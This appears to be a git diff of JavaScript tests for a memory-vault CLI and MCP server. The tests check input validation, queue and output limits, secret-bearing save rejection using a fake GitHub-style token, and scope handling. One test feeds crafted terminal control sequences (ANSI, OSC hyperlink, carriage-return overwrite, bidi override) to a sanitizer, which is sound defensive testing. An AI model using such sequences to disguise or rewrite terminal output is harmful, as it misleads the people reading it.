}
|
||||
|
||||
const initialized = await service.handle({
|
||||
jsonrpc: '2.0',
|
||||
id: 0,
|
||||
method: 'initialize',
|
||||
params: {
|
||||
protocolVersion: '2025-11-25',
|
||||
capabilities: {},
|
||||
clientInfo: { name: 'strict-test', version: '1.0.0' },
|
||||
},
|
||||
});
|
||||
assert.strictEqual(initialized.id, 0);
|
||||
await service.handle({
|
||||
jsonrpc: '2.0',
|
||||
method: 'notifications/initialized',
|
||||
params: {},
|
||||
});
|
||||
|
||||
for (const toolArguments of [null, false, 0, '', []]) {
|
||||
const response = await service.handle({
|
||||
jsonrpc: '2.0',
|
||||
id: `args-${String(toolArguments)}`,
|
||||
method: 'tools/call',
|
||||
params: {
|
||||
name: 'memory_doctor',
|
||||
arguments: toolArguments,
|
||||
},
|
||||
});
|
||||
assert.strictEqual(response.error.code, -32602);
|
||||
}
|
||||
const invalidParams = await service.handle({
|
||||
jsonrpc: '2.0',
|
||||
id: 2,
|
||||
method: 'tools/call',
|
||||
params: [],
|
||||
});
|
||||
assert.strictEqual(invalidParams.error.code, -32600);
|
||||
});
|
||||
|
||||
await test('bounds queued transport work under a single-chunk request flood', async () => {
|
||||
const {
|
||||
MAX_PENDING_MESSAGES,
|
||||
runStdioServer,
|
||||
} = await import(pathToFileURL(SERVER).href);
|
||||
const input = new PassThrough();
|
||||
const output = new PassThrough();
|
||||
let rawOutput = '';
|
||||
output.on('data', chunk => {
|
||||
rawOutput += chunk.toString('utf8');
|
||||
});
|
||||
runStdioServer({
|
||||
input,
|
||||
output,
|
||||
serviceOptions: { harness: 'claude' },
|
||||
});
|
||||
|
||||
const requests = [
|
||||
{
|
||||
jsonrpc: '2.0',
|
||||
id: 'init',
|
||||
method: 'initialize',
|
||||
params: {
|
||||
protocolVersion: '2025-11-25',
|
||||
capabilities: {},
|
||||
clientInfo: { name: 'flood-test', version: '1.0.0' },
|
||||
},
|
||||
},
|
||||
{
|
||||
jsonrpc: '2.0',
|
||||
method: 'notifications/initialized',
|
||||
params: {},
|
||||
},
|
||||
...Array.from({ length: MAX_PENDING_MESSAGES * 4 }, (_, index) => ({
|
||||
jsonrpc: '2.0',
|
||||
id: `ping-${index}`,
|
||||
method: 'ping',
|
||||
params: {},
|
||||
})),
|
||||
];
|
||||
input.end(`${requests.map(JSON.stringify).join('\n')}\n`);
|
||||
|
||||
await new Promise((resolve, reject) => {
|
||||
const timeout = setTimeout(
|
||||
() => reject(new Error('Timed out waiting for queue-limit response.')),
|
||||
3000
|
||||
);
|
||||
const poll = () => {
|
||||
if (rawOutput.includes('queue limit exceeded')) {
|
||||
clearTimeout(timeout);
|
||||
resolve();
|
||||
} else {
|
||||
setImmediate(poll);
|
||||
}
|
||||
};
|
||||
poll();
|
||||
});
|
||||
|
||||
const messages = rawOutput.trim().split('\n').map(line => JSON.parse(line));
|
||||
assert.ok(messages.some(message => message.error?.code === -32000));
|
||||
assert.ok(messages.length <= MAX_PENDING_MESSAGES + 2);
|
||||
});
|
||||
|
||||
await test('bounds serialized tool responses before writing to stdout', async () => {
|
||||
const {
|
||||
MAX_RESPONSE_BYTES,
|
||||
textResult,
|
||||
} = await import(pathToFileURL(SERVER).href);
|
||||
assert.throws(
|
||||
() => textResult({ body: 'x'.repeat(MAX_RESPONSE_BYTES + 1) }),
|
||||
/bounded output limit/
|
||||
);
|
||||
});
|
||||
|
||||
await test('returns a structured tool error without a stack trace for secret-bearing writes', async () => {
|
||||
await withClient(async client => {
|
||||
await assert.rejects(
|
||||
() => client.callTool({
|
||||
name: 'memory_save',
|
||||
arguments: {
|
||||
title: 'Empty body',
|
||||
body: '',
|
||||
},
|
||||
}),
|
||||
/-32602/
|
||||
);
|
||||
const secret = `ghp_${'A1'.repeat(12)}`;
|
||||
const result = await client.callTool({
|
||||
name: 'memory_save',
|
||||
arguments: {
|
||||
title: 'Do not persist this',
|
||||
body: `credential ${secret}`,
|
||||
},
|
||||
});
|
||||
assert.strictEqual(result.isError, true);
|
||||
const error = parseTextResult(result);
|
||||
assert.strictEqual(error.error.code, 'MEMORY_WRITE_REJECTED');
|
||||
assert.ok(error.error.message.includes('suspected secret'));
|
||||
assert.ok(!JSON.stringify(error).includes(secret));
|
||||
assert.ok(!JSON.stringify(error).includes('\n at '));
|
||||
});
|
||||
});
|
||||
|
||||
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
|
||||
if (failed > 0) {
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
main().catch(error => {
|
||||
console.error(error);
|
||||
process.exit(1);
|
||||
});
|
||||
@@ -0,0 +1,478 @@
|
||||
'use strict';
|
||||
|
||||
const assert = require('assert');
|
||||
const fs = require('fs');
|
||||
const os = require('os');
|
||||
const path = require('path');
|
||||
const { spawnSync } = require('child_process');
|
||||
|
||||
const MEMORY_SCRIPT = path.join(__dirname, '..', '..', 'scripts', 'memory.js');
|
||||
const ECC_SCRIPT = path.join(__dirname, '..', '..', 'scripts', 'ecc.js');
|
||||
const {
|
||||
readBoundedStdin,
|
||||
runCommand,
|
||||
sanitizeTerminalText,
|
||||
} = require(MEMORY_SCRIPT);
|
||||
|
||||
let passed = 0;
|
||||
let failed = 0;
|
||||
|
||||
function test(name, fn) {
|
||||
try {
|
||||
fn();
|
||||
console.log(` PASS ${name}`);
|
||||
passed += 1;
|
||||
} catch (error) {
|
||||
console.log(` FAIL ${name}`);
|
||||
console.log(` ${error.stack || error.message}`);
|
||||
failed += 1;
|
||||
}
|
||||
}
|
||||
|
||||
function createFixture() {
|
||||
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-memory-cli-'));
|
||||
const projectRoot = path.join(root, 'project');
|
||||
const homeDir = path.join(root, 'home');
|
||||
fs.mkdirSync(path.join(projectRoot, '.git'), { recursive: true });
|
||||
fs.mkdirSync(homeDir, { recursive: true });
|
||||
return {
|
||||
root,
|
||||
projectRoot,
|
||||
homeDir,
|
||||
env: {
|
||||
...process.env,
|
||||
HOME: homeDir,
|
||||
USERPROFILE: homeDir,
|
||||
ECC_MEMORY_PROJECT_ROOT: path.join(projectRoot, '.ecc', 'memory'),
|
||||
ECC_MEMORY_USER_ROOT: path.join(homeDir, '.ecc', 'memory'),
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
function run(script, args, fixture, options = {}) {
|
||||
return spawnSync(process.execPath, [script, ...args], {
|
||||
cwd: fixture.projectRoot,
|
||||
env: { ...fixture.env, ...(options.env || {}) },
|
||||
input: options.input,
|
||||
encoding: 'utf8',
|
||||
timeout: 15000,
|
||||
});
|
||||
}
|
||||
|
||||
function json(result) {
|
||||
assert.strictEqual(result.status, 0, result.stderr);
|
||||
return JSON.parse(result.stdout);
|
||||
}
|
||||
|
||||
console.log('\n=== Testing ecc memory CLI ===\n');
|
||||
|
||||
test('keeps runCommand focused on dispatch under the function-size guideline', () => {
|
||||
const lineCount = runCommand.toString().split('\n').length;
|
||||
assert.ok(lineCount < 50, `runCommand is ${lineCount} lines; expected fewer than 50`);
|
||||
});
|
||||
|
||||
test('shows memory command help directly and through the ecc router', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const direct = run(MEMORY_SCRIPT, ['--help'], fixture);
|
||||
assert.strictEqual(direct.status, 0, direct.stderr);
|
||||
assert.ok(direct.stdout.includes('ecc memory save'));
|
||||
assert.ok(direct.stdout.includes('ecc-memory-mcp'));
|
||||
|
||||
const routed = run(ECC_SCRIPT, ['memory', '--help'], fixture);
|
||||
assert.strictEqual(routed.status, 0, routed.stderr);
|
||||
assert.ok(routed.stdout.includes('ecc memory search'));
|
||||
assert.ok(routed.stdout.includes('Default recall scopes: project and team'));
|
||||
assert.ok(routed.stdout.includes('user scope must be requested explicitly'));
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('routes stdin through ecc memory without dropping the body', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const saved = json(run(ECC_SCRIPT, [
|
||||
'memory',
|
||||
'save',
|
||||
'--title', 'Routed stdin',
|
||||
'--stdin',
|
||||
'--json',
|
||||
], fixture, { input: 'The router must preserve this exact body.\n' }));
|
||||
|
||||
assert.strictEqual(Object.hasOwn(saved.memory, 'body'), false);
|
||||
const read = json(run(
|
||||
MEMORY_SCRIPT,
|
||||
['read', saved.memory.id, '--json'],
|
||||
fixture
|
||||
));
|
||||
assert.strictEqual(read.memory.body, 'The router must preserve this exact body.');
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('retries transient stdin EAGAIN without busy-spinning and preserves byte bounds', () => {
|
||||
const originalReadSync = fs.readSync;
|
||||
let readCalls = 0;
|
||||
let waitCalls = 0;
|
||||
try {
|
||||
fs.readSync = (_descriptor, buffer) => {
|
||||
readCalls += 1;
|
||||
if (readCalls <= 2) {
|
||||
const error = new Error('temporarily unavailable');
|
||||
error.code = 'EAGAIN';
|
||||
throw error;
|
||||
}
|
||||
if (readCalls === 3) {
|
||||
buffer.write('ready');
|
||||
return 5;
|
||||
}
|
||||
return 0;
|
||||
};
|
||||
|
||||
assert.strictEqual(readBoundedStdin(8, {
|
||||
retryDelayMs: 1,
|
||||
maxRetryWaitMs: 4,
|
||||
wait: () => {
|
||||
waitCalls += 1;
|
||||
},
|
||||
}), 'ready');
|
||||
assert.strictEqual(readCalls, 4);
|
||||
assert.strictEqual(waitCalls, 2);
|
||||
} finally {
|
||||
fs.readSync = originalReadSync;
|
||||
}
|
||||
});
|
||||
|
||||
test('bounds persistent stdin EAGAIN retries instead of waiting forever', () => {
|
||||
const originalReadSync = fs.readSync;
|
||||
let readCalls = 0;
|
||||
let waitCalls = 0;
|
||||
try {
|
||||
fs.readSync = () => {
|
||||
readCalls += 1;
|
||||
const error = new Error('temporarily unavailable');
|
||||
error.code = 'EAGAIN';
|
||||
throw error;
|
||||
};
|
||||
|
||||
assert.throws(
|
||||
() => readBoundedStdin(8, {
|
||||
retryDelayMs: 1,
|
||||
maxRetryWaitMs: 3,
|
||||
wait: () => {
|
||||
waitCalls += 1;
|
||||
},
|
||||
}),
|
||||
/standard input remained unavailable/i
|
||||
);
|
||||
assert.strictEqual(readCalls, 4);
|
||||
assert.strictEqual(waitCalls, 3);
|
||||
} finally {
|
||||
fs.readSync = originalReadSync;
|
||||
}
|
||||
});
|
||||
|
||||
test('initializes selected scopes and reports their roots as JSON', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const payload = json(run(
|
||||
MEMORY_SCRIPT,
|
||||
['init', '--scope', 'project', '--scope', 'team', '--json'],
|
||||
fixture
|
||||
));
|
||||
assert.strictEqual(payload.schemaVersion, 'ecc.memory.init.v1');
|
||||
assert.deepStrictEqual(payload.scopes, ['project', 'team']);
|
||||
assert.ok(fs.statSync(path.join(payload.roots.project, 'handoffs')).isDirectory());
|
||||
assert.ok(fs.statSync(path.join(payload.roots.team, 'decisions')).isDirectory());
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('saves and reads a targeted handoff without a harness-specific inbox', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const saved = json(run(MEMORY_SCRIPT, [
|
||||
'handoff',
|
||||
'--from', 'codex',
|
||||
'--target', 'claude',
|
||||
'--target', 'hermes',
|
||||
'--title', 'Finish auth migration',
|
||||
'--stdin',
|
||||
'--tag', 'auth',
|
||||
'--json',
|
||||
], fixture, { input: 'Token rotation tests pass.' }));
|
||||
|
||||
assert.strictEqual(saved.schemaVersion, 'ecc.memory.write.v1');
|
||||
assert.strictEqual(saved.memory.kind, 'handoff');
|
||||
assert.strictEqual(saved.memory.trust, 'unreviewed');
|
||||
assert.deepStrictEqual(saved.memory.targetHarnesses, ['claude', 'hermes']);
|
||||
assert.strictEqual(saved.path, `project:handoffs/${saved.memory.id}.md`);
|
||||
assert.strictEqual(Object.hasOwn(saved.memory, 'body'), false);
|
||||
|
||||
const read = json(run(
|
||||
MEMORY_SCRIPT,
|
||||
['read', saved.memory.id, '--json'],
|
||||
fixture
|
||||
));
|
||||
assert.strictEqual(read.schemaVersion, 'ecc.memory.read.v1');
|
||||
assert.strictEqual(read.memory.body, 'Token rotation tests pass.');
|
||||
assert.deepStrictEqual(read.backlinks, []);
|
||||
|
||||
const human = run(MEMORY_SCRIPT, [
|
||||
'save',
|
||||
'--title', 'Relative acknowledgement',
|
||||
'--stdin',
|
||||
], fixture, { input: 'Keep local paths out of acknowledgements.' });
|
||||
assert.strictEqual(human.status, 0, human.stderr);
|
||||
assert.ok(human.stdout.includes('Path: project:notes/'));
|
||||
assert.strictEqual(human.stdout.includes(fixture.projectRoot), false);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('read uses default recall scopes and honors an explicit user scope', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const saved = json(run(MEMORY_SCRIPT, [
|
||||
'save',
|
||||
'--title', 'Private preference',
|
||||
'--scope', 'user',
|
||||
'--stdin',
|
||||
'--json',
|
||||
], fixture, { input: 'Prefer compact output.' }));
|
||||
|
||||
const defaultRead = run(
|
||||
MEMORY_SCRIPT,
|
||||
['read', saved.memory.id, '--json'],
|
||||
fixture
|
||||
);
|
||||
assert.notStrictEqual(defaultRead.status, 0);
|
||||
assert.ok(defaultRead.stderr.includes('was not found'));
|
||||
|
||||
const explicitRead = json(run(
|
||||
MEMORY_SCRIPT,
|
||||
['read', saved.memory.id, '--scope', 'user', '--json'],
|
||||
fixture
|
||||
));
|
||||
assert.strictEqual(explicitRead.memory.id, saved.memory.id);
|
||||
assert.strictEqual(explicitRead.memory.scope, 'user');
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('accepts body content over stdin and finds it through bounded JSON search', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const saved = json(run(MEMORY_SCRIPT, [
|
||||
'save',
|
||||
'--title', 'Database decision',
|
||||
'--kind', 'decision',
|
||||
'--scope', 'team',
|
||||
'--source-harness', 'claude',
|
||||
'--target', 'all',
|
||||
'--tag', 'sqlite',
|
||||
'--stdin',
|
||||
'--json',
|
||||
], fixture, { input: 'Use SQLite as the durable local store.\n' }));
|
||||
|
||||
assert.strictEqual(saved.memory.scope, 'team');
|
||||
assert.strictEqual(Object.hasOwn(saved.memory, 'body'), false);
|
||||
|
||||
const search = json(run(MEMORY_SCRIPT, [
|
||||
'search',
|
||||
'sqlite durable',
|
||||
'--scope', 'team',
|
||||
'--target-harness', 'codex',
|
||||
'--limit', '5',
|
||||
'--json',
|
||||
], fixture));
|
||||
assert.strictEqual(search.schemaVersion, 'ecc.memory.search.v1');
|
||||
assert.strictEqual(search.results.length, 1);
|
||||
assert.strictEqual(search.results[0].memory.id, saved.memory.id);
|
||||
assert.ok(search.results[0].excerpt.includes('SQLite'));
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('doctor is machine-readable and clean for a valid vault', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
json(run(MEMORY_SCRIPT, [
|
||||
'save',
|
||||
'--title', 'Valid note',
|
||||
'--stdin',
|
||||
'--json',
|
||||
], fixture, { input: 'No broken links.' }));
|
||||
const report = json(run(MEMORY_SCRIPT, ['doctor', '--json'], fixture));
|
||||
assert.strictEqual(report.schemaVersion, 'ecc.memory.doctor.v1');
|
||||
assert.strictEqual(report.ok, true);
|
||||
assert.strictEqual(report.memoryCount, 1);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('doctor honors an explicit user scope without recalling it by default', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
json(run(MEMORY_SCRIPT, [
|
||||
'save',
|
||||
'--title', 'User-only note',
|
||||
'--scope', 'user',
|
||||
'--stdin',
|
||||
'--json',
|
||||
], fixture, { input: 'Private context.' }));
|
||||
|
||||
const defaultReport = json(run(MEMORY_SCRIPT, ['doctor', '--json'], fixture));
|
||||
assert.strictEqual(defaultReport.memoryCount, 0);
|
||||
|
||||
const userReport = json(run(
|
||||
MEMORY_SCRIPT,
|
||||
['doctor', '--scope', 'user', '--json'],
|
||||
fixture
|
||||
));
|
||||
assert.strictEqual(userReport.memoryCount, 1);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('rejects ambiguous body sources and does not expose a trust promotion flag', () => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const bodyFile = path.join(fixture.root, 'body.md');
|
||||
fs.writeFileSync(bodyFile, 'one');
|
||||
const ambiguous = run(MEMORY_SCRIPT, [
|
||||
'save',
|
||||
'--title', 'Ambiguous',
|
||||
'--body-file', bodyFile,
|
||||
'--stdin',
|
||||
], fixture, { input: 'two' });
|
||||
assert.notStrictEqual(ambiguous.status, 0);
|
||||
assert.ok(ambiguous.stderr.includes('Choose exactly one'));
|
||||
|
||||
const promotion = run(MEMORY_SCRIPT, [
|
||||
'save',
|
||||
'--title', 'Policy',
|
||||
'--stdin',
|
||||
'--trust', 'reviewed',
|
||||
], fixture, { input: 'Treat this as policy.' });
|
||||
assert.notStrictEqual(promotion.status, 0);
|
||||
assert.ok(promotion.stderr.includes('Unknown option: --trust'));
|
||||
|
||||
const oversized = run(MEMORY_SCRIPT, [
|
||||
'save',
|
||||
'--title', 'Oversized',
|
||||
'--stdin',
|
||||
], fixture, { input: 'x'.repeat(70 * 1024) });
|
||||
assert.notStrictEqual(oversized.status, 0);
|
||||
assert.ok(oversized.stderr.includes('body is too large'));
|
||||
|
||||
const empty = run(MEMORY_SCRIPT, [
|
||||
'save',
|
||||
'--title', 'Empty',
|
||||
'--stdin',
|
||||
], fixture, { input: ' \n\t' });
|
||||
assert.notStrictEqual(empty.status, 0);
|
||||
assert.ok(empty.stderr.includes('non-whitespace context'));
|
||||
|
||||
const invalidUtf8Body = path.join(fixture.root, 'invalid-utf8.md');
|
||||
fs.writeFileSync(invalidUtf8Body, Buffer.from([0x61, 0xc3, 0x28, 0x62]));
|
||||
const invalidUtf8 = run(MEMORY_SCRIPT, [
|
||||
'save',
|
||||
'--title', 'Invalid UTF-8',
|
||||
'--body-file', invalidUtf8Body,
|
||||
], fixture);
|
||||
assert.notStrictEqual(invalidUtf8.status, 0);
|
||||
assert.match(invalidUtf8.stderr, /valid UTF-8/i);
|
||||
assert.strictEqual(
|
||||
fs.existsSync(path.join(fixture.projectRoot, '.ecc', 'memory')),
|
||||
false
|
||||
);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
test('global dry-run rejects every mutating memory command without creating a vault', () => {
|
||||
const cases = [
|
||||
['init', '--scope', 'project'],
|
||||
['save', '--title', 'Dry save', '--stdin'],
|
||||
['handoff', '--from', 'codex', '--target', 'claude', '--title', 'Dry handoff', '--stdin'],
|
||||
];
|
||||
|
||||
cases.forEach(args => {
|
||||
const fixture = createFixture();
|
||||
try {
|
||||
const result = run(
|
||||
ECC_SCRIPT,
|
||||
['--dry-run', 'memory', ...args],
|
||||
fixture,
|
||||
{ input: 'Must never be written.' }
|
||||
);
|
||||
assert.notStrictEqual(result.status, 0, `${args[0]} unexpectedly succeeded`);
|
||||
assert.ok(result.stderr.toLowerCase().includes('dry-run'), result.stderr);
|
||||
assert.strictEqual(
|
||||
fs.existsSync(path.join(fixture.projectRoot, '.ecc', 'memory')),
|
||||
false,
|
||||
`${args[0]} created project memory state`
|
||||
);
|
||||
assert.strictEqual(
|
||||
fs.existsSync(path.join(fixture.homeDir, '.ecc', 'memory')),
|
||||
false,
|
||||
`${args[0]} created user memory state`
|
||||
);
|
||||
} finally {
|
||||
fs.rmSync(fixture.root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
test('human terminal rendering strips ANSI, OSC, C0/C1, and bidi controls', () => {
|
||||
const hostile = [
|
||||
'safe',
|
||||
'\u001b[31mred\u001b[0m',
|
||||
'\u001b]8;;https://example.test\u0007link\u001b]8;;\u0007',
|
||||
'\u0001c0',
|
||||
'\rrewritten',
|
||||
'\u0085c1',
|
||||
'\u202ebidi',
|
||||
].join(' ');
|
||||
const rendered = sanitizeTerminalText(hostile);
|
||||
|
||||
assert.ok(rendered.includes('safe'));
|
||||
assert.ok(rendered.includes('red'));
|
||||
assert.ok(rendered.includes('link'));
|
||||
assert.ok(rendered.includes('c0'));
|
||||
assert.ok(rendered.includes('rewritten'));
|
||||
assert.ok(rendered.includes('c1'));
|
||||
assert.ok(rendered.includes('bidi'));
|
||||
['\u001b', '\u0001', '\u0007', '\r', '\u0085', '\u202e']
|
||||
.forEach(control => assert.ok(!rendered.includes(control)));
|
||||
});
|
||||
|
||||
test('JSON output preserves data without applying terminal rendering rules', () => {
|
||||
const hostile = 'plain\u001b[31mred\u001b[0m\u202e';
|
||||
const script = [
|
||||
`const { writeJson } = require(${JSON.stringify(MEMORY_SCRIPT)});`,
|
||||
`writeJson({ value: ${JSON.stringify(hostile)} });`,
|
||||
].join('');
|
||||
const result = spawnSync(process.execPath, ['-e', script], {
|
||||
encoding: 'utf8',
|
||||
timeout: 15000,
|
||||
});
|
||||
|
||||
assert.strictEqual(result.status, 0, result.stderr);
|
||||
assert.strictEqual(JSON.parse(result.stdout).value, hostile);
|
||||
});
|
||||
|
||||
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
|
||||
if (failed > 0) {
|
||||
process.exit(1);
|
||||
}
|
||||
@@ -58,6 +58,8 @@ function buildExpectedPublishPaths(repoRoot) {
|
||||
"scripts/ito.js",
|
||||
"scripts/list-installed.js",
|
||||
"scripts/loop-status.js",
|
||||
"scripts/memory.js",
|
||||
"scripts/memory-mcp.mjs",
|
||||
"scripts/observability-readiness.js",
|
||||
"scripts/plan-canvas.js",
|
||||
"scripts/operator-readiness-dashboard.js",
|
||||
@@ -91,6 +93,7 @@ function buildExpectedPublishPaths(repoRoot) {
|
||||
"assets/images/community",
|
||||
"docs/CODEX-NAVIGATION-GUIDE.md",
|
||||
"docs/COMMAND-AGENT-MAP.md",
|
||||
"docs/design/ecc-memory-vault.md",
|
||||
"assets/images/sponsors",
|
||||
]
|
||||
const exclusionPaths = [
|
||||
@@ -146,6 +149,10 @@ function main() {
|
||||
"scripts/consult.js",
|
||||
"scripts/control-pane.js",
|
||||
"scripts/ito.js",
|
||||
"scripts/memory.js",
|
||||
"scripts/memory-mcp.mjs",
|
||||
"scripts/lib/memory-vault-format.js",
|
||||
"scripts/lib/memory-vault.js",
|
||||
"scripts/discussion-audit.js",
|
||||
"scripts/operator-readiness-dashboard.js",
|
||||
"scripts/preview-pack-smoke.js",
|
||||
@@ -160,6 +167,9 @@ function main() {
|
||||
".claude-plugin/plugin.json",
|
||||
".github/PULL_REQUEST_TEMPLATE.md",
|
||||
".codex-plugin/plugin.json",
|
||||
".agents/skills/unified-memory/SKILL.md",
|
||||
".agents/skills/unified-memory/agents/openai.yaml",
|
||||
".cursor/skills/unified-memory/SKILL.md",
|
||||
"COMMANDS-QUICK-REF.md",
|
||||
"CONTRIBUTING.md",
|
||||
"plugins/ecc/.codex-plugin/plugin.json",
|
||||
@@ -169,8 +179,11 @@ function main() {
|
||||
"assets/images/community/heart.svg",
|
||||
"docs/CODEX-NAVIGATION-GUIDE.md",
|
||||
"docs/COMMAND-AGENT-MAP.md",
|
||||
"docs/design/ecc-memory-vault.md",
|
||||
"schemas/install-state.schema.json",
|
||||
"schemas/memory.schema.json",
|
||||
"skills/backend-patterns/SKILL.md",
|
||||
"skills/unified-memory/SKILL.md",
|
||||
]) {
|
||||
assert.ok(
|
||||
packagedPaths.has(requiredPath),
|
||||
|
||||
Reference in New Issue
Block a user